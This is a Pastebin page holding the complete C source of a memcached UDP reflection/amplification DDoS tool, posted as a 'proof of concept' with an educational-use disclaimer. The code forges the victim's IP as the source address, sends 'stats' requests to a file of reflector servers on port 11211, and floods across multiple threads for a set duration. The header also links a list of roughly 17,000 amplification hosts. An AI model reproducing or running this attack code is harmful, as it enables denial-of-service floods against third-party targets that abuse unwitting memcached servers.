daily pastebin goal
53%
SHARE
TWEET

memcached.c Proof of Concept memcached tool

responsibled Mar 5th, 2018 (edited) 10,983 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2. memcached-PoC
  3.  
  4. memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.
  5.  
  6. memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
  7. memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)
  8.  
  9. Compile: gcc memcached.c -o memecached -pthread
  10.  
  11. *Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.
  12.  
  13. **/
  14.  
  15. /*
  16.    memcache reflection script
  17.    greeting: syn, storm, krashed, chrono, spike, niko, disliked
  18.    Use with extreme Caution
  19. */
  20.  
  21. #include <time.h>
  22. #include <pthread.h>
  23. #include <unistd.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <sys/socket.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/udp.h>
  30. #include <arpa/inet.h>
  31. #define MAX_PACKET_SIZE 8192
  32. #define PHI 0x9e3779b9
  33. static uint32_t Q[4096], c = 362436;
  34. struct list
  35. {
  36.     struct sockaddr_in data;
  37.     struct list *next;
  38.     struct list *prev;
  39. };
  40. struct list *head;
  41. volatile int tehport;
  42. volatile int limiter;
  43. volatile unsigned int pps;
  44. volatile unsigned int sleeptime = 100;
  45. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  46. void init_rand(uint32_t x)
  47. {
  48.     int i;
  49.     Q[0] = x;
  50.     Q[1] = x + PHI;
  51.     Q[2] = x + PHI + PHI;
  52.     for (i = 3; i < 4096; i++)
  53.     {
  54.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  55.     }
  56. }
  57. uint32_t rand_cmwc(void)
  58. {
  59.     uint64_t t, a = 18782LL;
  60.     static uint32_t i = 4095;
  61.     uint32_t x, r = 0xfffffffe;
  62.     i = (i + 1) & 4095;
  63.     t = a * Q[i] + c;
  64.     c = (t >> 32);
  65.     x = t + c;
  66.     if (x < c) {
  67.     x++;
  68.     c++;
  69.     }
  70.     return (Q[i] = r - x);
  71. }
  72. unsigned short csum (unsigned short *buf, int nwords)
  73. {
  74.     unsigned long sum = 0;
  75.     for (sum = 0; nwords > 0; nwords--)
  76.     sum += *buf++;
  77.     sum = (sum >> 16) + (sum & 0xffff);
  78.     sum += (sum >> 16);
  79.     return (unsigned short)(~sum);
  80. }
  81. void setup_ip_header(struct iphdr *iph)
  82. {
  83.     iph->ihl = 5;
  84.     iph->version = 4;
  85.     iph->tos = 0;
  86.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
  87.     iph->id = htonl(54321);
  88.     iph->frag_off = 0;
  89.     iph->ttl = MAXTTL;
  90.     iph->protocol = IPPROTO_UDP;
  91.     iph->check = 0;
  92.     iph->saddr = inet_addr("192.168.3.100");
  93. }
  94. void setup_udp_header(struct udphdr *udph)
  95. {
  96.     udph->source = htons(5678);
  97.     udph->dest = htons(11211);
  98.     udph->check = 0;
  99.     memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
  100.     udph->len=htons(sizeof(struct udphdr) + 15);
  101. }
  102. void *flood(void *par1)
  103. {
  104.     struct thread_data *td = (struct thread_data *)par1;
  105.     char datagram[MAX_PACKET_SIZE];
  106.     struct iphdr *iph = (struct iphdr *)datagram;
  107.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  108.     struct sockaddr_in sin = td->sin;
  109.     struct  list *list_node = td->list_node;
  110.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  111.     if(s < 0){
  112.     fprintf(stderr, "Could not open raw socket.\n");
  113.     exit(-1);
  114.     }
  115.     init_rand(time(NULL));
  116.     memset(datagram, 0, MAX_PACKET_SIZE);
  117.     setup_ip_header(iph);
  118.     setup_udp_header(udph);
  119.     udph->source = htons(rand() % 65535 - 1026);
  120.     iph->saddr = sin.sin_addr.s_addr;
  121.     iph->daddr = list_node->data.sin_addr.s_addr;
  122.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  123.     int tmp = 1;
  124.     const int *val = &tmp;
  125.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  126.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  127.     exit(-1);
  128.     }
  129.     init_rand(time(NULL));
  130.     register unsigned int i;
  131.     i = 0;
  132.     while(1){
  133.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  134.         list_node = list_node->next;
  135.         iph->daddr = list_node->data.sin_addr.s_addr;
  136.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  137.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  138.        
  139.         pps++;
  140.         if(i >= limiter)
  141.         {
  142.             i = 0;
  143.             usleep(sleeptime);
  144.         }
  145.         i++;
  146.     }
  147. }
  148. int main(int argc, char *argv[ ])
  149. {
  150.     if(argc < 6){
  151.     fprintf(stderr, "Invalid parameters!\n");
  152.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  153.         exit(-1);
  154.     }
  155.     srand(time(NULL));
  156.     int i = 0;
  157.     head = NULL;
  158.     fprintf(stdout, "Setting up sockets...\n");
  159.     int max_len = 128;
  160.     char *buffer = (char *) malloc(max_len);
  161.     buffer = memset(buffer, 0x00, max_len);
  162.     int num_threads = atoi(argv[4]);
  163.     int maxpps = atoi(argv[5]);
  164.     limiter = 0;
  165.     pps = 0;
  166.     int multiplier = 20;
  167.     FILE *list_fd = fopen(argv[3],  "r");
  168.     while (fgets(buffer, max_len, list_fd) != NULL) {
  169.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  170.                 (buffer[strlen(buffer) - 1] == '\r')) {
  171.             buffer[strlen(buffer) - 1] = 0x00;
  172.             if(head == NULL)
  173.             {
  174.                 head = (struct list *)malloc(sizeof(struct list));
  175.                 bzero(&head->data, sizeof(head->data));
  176.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  177.                 head->next = head;
  178.                 head->prev = head;
  179.             } else {
  180.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  181.                 memset(new_node, 0x00, sizeof(struct list));
  182.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  183.                 new_node->prev = head;
  184.                 new_node->next = head->next;
  185.                 head->next = new_node;
  186.             }
  187.             i++;
  188.         } else {
  189.             continue;
  190.         }
  191.     }
  192.     struct list *current = head->next;
  193.     pthread_t thread[num_threads];
  194.     struct sockaddr_in sin;
  195.     sin.sin_family = AF_INET;
  196.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  197.     struct thread_data td[num_threads];
  198.     for(i = 0;i<num_threads;i++){
  199.         td[i].thread_id = i;
  200.         td[i].sin= sin;
  201.         td[i].list_node = current;
  202.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  203.     }
  204.     fprintf(stdout, "Starting flood...\n");
  205.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  206.     {
  207.         usleep((1000/multiplier)*1000);
  208.         if((pps*multiplier) > maxpps)
  209.         {
  210.             if(1 > limiter)
  211.             {
  212.                 sleeptime+=100;
  213.             } else {
  214.                 limiter--;
  215.             }
  216.         } else {
  217.             limiter++;
  218.             if(sleeptime > 25)
  219.             {
  220.                 sleeptime-=25;
  221.             } else {
  222.                 sleeptime = 0;
  223.             }
  224.         }
  225.         pps = 0;
  226.     }
  227.     return 0;
  228. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top